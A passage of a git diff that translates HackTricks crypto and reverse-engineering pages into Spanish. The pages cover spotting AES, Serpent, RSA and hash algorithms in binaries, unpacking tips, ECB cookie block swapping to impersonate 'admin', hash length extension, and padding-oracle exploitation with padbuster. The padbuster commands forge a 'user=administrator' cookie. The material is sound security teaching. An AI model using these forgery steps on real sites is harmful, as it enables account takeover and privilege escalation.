Crypt)** +## **AES (Criptografía Simétrica)** -### **Characteristics** +### **Características** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- Uso de **cajas de sustitución y tablas de búsqueda** +- Es posible **distinguir AES gracias al uso de valores específicos de tablas de búsqueda** (constantes). _Nota que la **constante** puede ser **almacenada** en el binario **o creada** _**dinámicamente**._ +- La **clave de cifrado** debe ser **divisible** por **16** (generalmente 32B) y generalmente se utiliza un **IV** de 16B. -### SBox constants +### Constantes SBox ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(Criptografía Simétrica)** -### Characteristics +### Características -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- Es raro encontrar malware que lo use, pero hay ejemplos (Ursnif) +- Simple de determinar si un algoritmo es Serpent o no basado en su longitud (función extremadamente larga) -### Identifying +### Identificación -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +En la siguiente imagen, nota cómo se utiliza la constante **0x9E3779B9** (nota que esta constante también es utilizada por otros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\ +También nota el **tamaño del bucle** (**132**) y el **número de operaciones XOR** en las **instrucciones de desensamblado** y en el **ejemplo de código**: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +Como se mencionó antes, este código puede visualizarse dentro de cualquier decompilador como una **función muy larga** ya que **no hay saltos** dentro de ella. El código decompilado puede verse como el siguiente: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +Por lo tanto, es posible identificar este algoritmo verificando el **número mágico** y los **XOR iniciales**, viendo una **función muy larga** y **comparando** algunas **instrucciones** de la larga función **con una implementación** (como el desplazamiento a la izquierda por 7 y la rotación a la izquierda por 22). -## RSA **(Asymmetric Crypt)** +## RSA **(Criptografía Asimétrica)** -### Characteristics +### Características -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- Más complejo que los algoritmos simétricos +- ¡No hay constantes! (las implementaciones personalizadas son difíciles de determinar) +- KANAL (un analizador criptográfico) no muestra pistas sobre RSA ya que se basa en constantes. -### Identifying by comparisons +### Identificación por comparaciones ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- En la línea 11 (izquierda) hay un `+7) >> 3` que es el mismo que en la línea 35 (derecha): `+7) / 8` +- La línea 12 (izquierda) está verificando si `modulus_len < 0x040` y en la línea 36 (derecha) está verificando si `inputLen+11 > modulusLen` ## MD5 & SHA (hash) -### Characteristics +### Características -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3 funciones: Init, Update, Final +- Funciones de inicialización similares -### Identify +### Identificar **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +Puedes identificar ambos verificando las constantes. Nota que sha_init tiene 1 constante que MD5 no tiene: ![](<../../images/image (406).png>) -**MD5 Transform** +**Transformación MD5** -Note the use of more constants +Nota el uso de más constantes ![](<../../images/image (253) (1) (1).png>) ## CRC (hash) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- Más pequeño y eficiente ya que su función es encontrar cambios accidentales en los datos +- Utiliza tablas de búsqueda (por lo que puedes identificar constantes) -### Identify +### Identificar -Check **lookup table constants**: +Verifica **constantes de tablas de búsqueda**: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +Un algoritmo de hash CRC se ve como: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib (Compresión) -### Characteristics +### Características -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- Constantes no reconocibles +- Puedes intentar escribir el algoritmo en python y buscar cosas similares en línea -### Identify +### Identificar -The graph is quiet large: +El gráfico es bastante grande: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +Verifica **3 comparaciones para reconocerlo**: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 6699ec26f..64c2baef4 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# Identificación de binarios empaquetados -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **falta de cadenas**: Es común encontrar que los binarios empaquetados no tienen casi ninguna cadena. +- Muchas **cadenas no utilizadas**: Además, cuando un malware utiliza algún tipo de empaquetador comercial, es común encontrar muchas cadenas sin referencias cruzadas. Incluso si estas cadenas existen, eso no significa que el binario no esté empaquetado. +- También puedes usar algunas herramientas para intentar encontrar qué empaquetador se utilizó para empaquetar un binario: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# Recomendaciones Básicas -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- **Comienza** a analizar el binario empaquetado **desde abajo en IDA y sube**. Los desempaquetadores salen una vez que el código desempaquetado sale, por lo que es poco probable que el desempaquetador pase la ejecución al código desempaquetado al principio. +- Busca **JMP's** o **CALLs** a **registros** o **regiones** de **memoria**. También busca **funciones que empujan argumentos y una dirección de dirección y luego llaman a `retn`**, porque el retorno de la función en ese caso puede llamar a la dirección que se acaba de empujar a la pila antes de llamarla. +- Coloca un **punto de interrupción** en `VirtualAlloc`, ya que esto asigna espacio en memoria donde el programa puede escribir código desempaquetado. "Ejecutar hasta el código de usuario" o usa F8 para **obtener el valor dentro de EAX** después de ejecutar la función y "**seguir esa dirección en el volcado**". Nunca sabes si esa es la región donde se va a guardar el código desempaquetado. +- **`VirtualAlloc`** con el valor "**40**" como argumento significa Leer+Escribir+Ejecutar (algún código que necesita ejecución se va a copiar aquí). +- **Mientras desempaquetas** código, es normal encontrar **varias llamadas** a **operaciones aritméticas** y funciones como **`memcopy`** o **`Virtual`**`Alloc`. Si te encuentras en una función que aparentemente solo realiza operaciones aritméticas y tal vez algún `memcopy`, la recomendación es intentar **encontrar el final de la función** (tal vez un JMP o llamada a algún registro) **o** al menos la **llamada a la última función** y ejecutarla, ya que el código no es interesante. +- Mientras desempaquetas código, **nota** cada vez que **cambias la región de memoria**, ya que un cambio en la región de memoria puede indicar el **inicio del código desempaquetado**. Puedes volcar fácilmente una región de memoria usando Process Hacker (proceso --> propiedades --> memoria). +- Mientras intentas desempaquetar código, una buena manera de **saber si ya estás trabajando con el código desempaquetado** (así que puedes simplemente volcarlo) es **verificar las cadenas del binario**. Si en algún momento realizas un salto (tal vez cambiando la región de memoria) y notas que **se añadieron muchas más cadenas**, entonces puedes saber **que estás trabajando con el código desempaquetado**. Sin embargo, si el empaquetador ya contiene muchas cadenas, puedes ver cuántas cadenas contienen la palabra "http" y ver si este número aumenta. +- Cuando vuelcas un ejecutable desde una región de memoria, puedes corregir algunos encabezados usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index a09798b1e..ef5f2c806 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Libro de Códigos Electrónicos - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (depende del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro utilizando la única clave. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +Usar ECB tiene múltiples implicaciones de seguridad: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **Se pueden eliminar bloques del mensaje cifrado** +- **Se pueden mover bloques del mensaje cifrado** -# Detection of the vulnerability +# Detección de la vulnerabilidad -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`|`**.\ +Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo** **nombre de usuario**.\ +Descubres que los **bloques de 8B** donde la **info de ambos usuarios** es la misma son **iguales**. Entonces, imaginas que esto podría ser porque **se está utilizando ECB**. +Como en el siguiente ejemplo. Observa cómo estas **2 cookies decodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (tal vez el delimitador "|" o alguna diferencia necesaria en el nombre de usuario). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Ahora, el atacante solo necesita descubrir si el formato es `` o ``. Para hacer eso, puede **generar varios nombres de usuario** con **nombres de usuario y contraseñas similares y largos hasta que encuentre el formato y la longitud del delimitador:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud del nombre de usuario+contraseña: | Longitud de la cookie (después de decodificar): | +| ------------------------------- | -------------------------- | ------------------------------------------- | ------------------------------------------------ | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Explotación de la vulnerabilidad -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Eliminando bloques enteros +Conociendo el formato de la cookie (`|`), para suplantar el nombre de usuario `admin`, crea un nuevo usuario llamado `aaaaaaaaadmin` y obtiene la cookie y la decodifica: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado anteriormente con el nombre de usuario que contenía solo `a`.\ +Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Moviendo bloques -## Moving blocks +En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios extra)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Así que, otra forma de suplantar al usuario `admin` sería: -So, another way to impersonate the user `admin` would be to: +- Generar un nombre de usuario que: `len() + len(` generará 2 bloques de 8Bs. +- Luego, generar una contraseña que llenará un número exacto de bloques conteniendo el nombre de usuario que queremos suplantar y espacios, como: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +La cookie de este usuario va a estar compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está falsificando el nombre de usuario): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Luego, solo reemplaza el primer bloque con el último y estarás suplantando al usuario `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Referencias - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..201d10733 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -1,18 +1,16 @@ -# Esoteric languages +# Lenguajes esotéricos {{#include ../banners/hacktricks-training.md}} ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +Consulta esa wiki para buscar más lenguajes esotéricos ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..84e9a8939 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -2,37 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -## Summary of the attack +## Resumen del ataque -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado) +- **Los datos de texto claro** +- **El algoritmo (y es vulnerable a este ataque)** +- **El padding es conocido** +- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es +- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**. -### How? +### ¿Cómo? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Entonces, imagina que el secreto es "secret" y los datos son "data", el MD5 de "secretdata" es 6036708eba0d11f6ef52ad44e8b74d5b.\ +Si un atacante quiere agregar la cadena "append", puede: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- Generar un MD5 de 64 "A"s +- Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b +- Agregar la cadena "append" +- Terminar el hash y el hash resultante será un **válido para "secret" + "data" + "padding" + "append"** -### **Tool** +### **Herramienta** {% embed url="https://github.com/iagox86/hash_extender" %} -### References +### Referencias -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..cad8c4b34 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con el siguiente bloque: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Para descifrar CBC se realizan las **operaciones** **opuestas**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Nota cómo es necesario usar una **clave de cifrado** y un **IV**. -## Message Padding +## Relleno de Mensaje -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Como el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\ +Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Veamos más ejemplos con **2 bloques de longitud 8bytes**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Nota cómo en el último ejemplo el **último bloque estaba lleno, así que se generó otro solo con relleno**. ## Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados** o una **respuesta más lenta**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**. -### How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +### Cómo explotar +Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Para probar si la cookie de un sitio es vulnerable, podrías intentar: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de padding, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### La teoría -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oracle de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**. ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\ +Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "cifrado de bloque de descifrado" generando los **bytes intermedios I0 a I15**.\ +Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores (E0 a E7). Así que: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Así que, en este caso: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Entonces, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\ +Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Sigue esta cadena hasta que descifres todo el texto cifrado.** -### Detection of the vulnerability +### Detección de la vulnerabilidad -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Registra una cuenta e inicia sesión con esta cuenta.\ +Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá forma de invalidarla**. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\ +Pero si BF el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster. -### References +### Referencias - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git 